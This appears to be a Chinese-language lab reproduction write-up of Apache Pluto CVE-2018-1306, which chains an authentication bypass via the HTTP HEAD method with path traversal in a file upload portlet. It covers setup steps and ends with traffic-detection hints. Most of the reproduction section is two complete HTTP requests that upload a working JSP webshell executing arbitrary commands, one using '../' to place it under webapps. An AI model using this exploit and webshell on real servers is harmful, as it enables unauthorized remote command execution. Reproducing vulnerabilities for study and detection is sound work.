Apache Portals Pluto 任意文件上传漏洞(CVE-2018-1306)
漏洞概述
Apache Pluto 使用 Web.xml 中的安全约束配置来控制对资源的访问,但是其中的安全约束配置存在缺陷,攻击者可以绕过身份验证。安全约束配置中,Pluto 定义了 GET、POST、PUT 方法,由于未列出 HEAD 方法,因此可以使用 HTTP HEAD 方法来绕过安全约束策略。
并且 PortletV3AnnotatedDemo Multipart Portlet war 文件代码未限制和验证文件上传路径,攻击者可以利用”../”来自定义上传文件的保存路径。 利用两个设计缺陷进行配合,攻击者可以上传任意文件到任意文件目录,从而能获取服务器的 webshell。
漏洞环境搭建
-
从 github clone 最新的源码 :
git clone https://github.com/apache/portals-pluto.git pluto
-
切换分支到 3.0.1 版本
git checkout pluto-3.0.1
-
安装环境(ant 自动安装)
ant -f dist-build.xml -DincludeDemos=true -DnoClean=true
-
启动环境
进入到/pluto/target/dist/XXX/bin 文件夹下,XXX 为项目版本的文件夹
运行 startup.sh(*nix)startup.bat(win)
漏洞复现
使用 burp 发送以下请求到 Apache Pluto:
HEAD /pluto/portal/File%20Upload/__pdPortletV3AnnotatedDemo.MultipartPortlet%21-1517407963%7C0;0/__ac0 HTTP/1.1
Host: Host: 172.16.5.146:8080
Content-Type: multipart/form-data; boundary=XX
Content-Length: 727
--XX
Content-Disposition: form-data; name="file"; filename="jspshell.jsp"
Content-Type: application/octet-stream
<FORM METHOD=GET ACTION='jspshell.jsp'>
CMD: <INPUT name='cmd' type=text value="cmd /c dir">
<INPUT type=submit value='Run'></FORM>
<%@ page import="java.io.*" %>
<%
String cmd = "whoami";
String param = request.getParameter("cmd");
if (param != null){ cmd = param; }
String s = null;
String output = "";
try {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"\r\n"; }
} catch(IOException e) { e.printStackTrace(); }
%>
<pre><%=output %></pre>
--XX--
HEAD /pluto/portal/File%20Upload/__pdPortletV3AnnotatedDemo.MultipartPortlet%21-1517407963%7C0;0/__ac0 HTTP/1.1
Host: Host: 172.16.5.146:8080
Content-Type: multipart/form-data; boundary=XX
Content-Length: 748
--XX
Content-Disposition: form-data; name="file"; filename="../../../webapps/pluto/qiuge.jsp"
Content-Type: application/octet-stream
<FORM METHOD=GET ACTION='qiuge.jsp'>
CMD: <INPUT name='cmd' type=text value="cmd /c dir">
<INPUT type=submit value='Run'></FORM>
<%@ page import="java.io.*" %>
<%
String cmd = "whoami";
String param = request.getParameter("cmd");
if (param != null){ cmd = param; }
String s = null;
String output = "";
try {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"\r\n"; }
} catch(IOException e) { e.printStackTrace(); }
%>
<pre><%=output %></pre>
--XX--
webshell 使用:http://172.16.5.146:8080/pluto/qiuge.jsp?cmd=hostname
流量分析
如果可以检测到对 /pluto/portal/File%20Upload/**pdPortletV3AnnotatedDemo.MultipartPortlet%21-1517407963%7C0;0/**ac0
上传 jsp ,则可以判断为攻击行为,可以通过进一步检测是否存在类似 ../../../webapps/pluto/qiuge.jsp
的 filename 值 来判断是否是利用本漏洞进行利用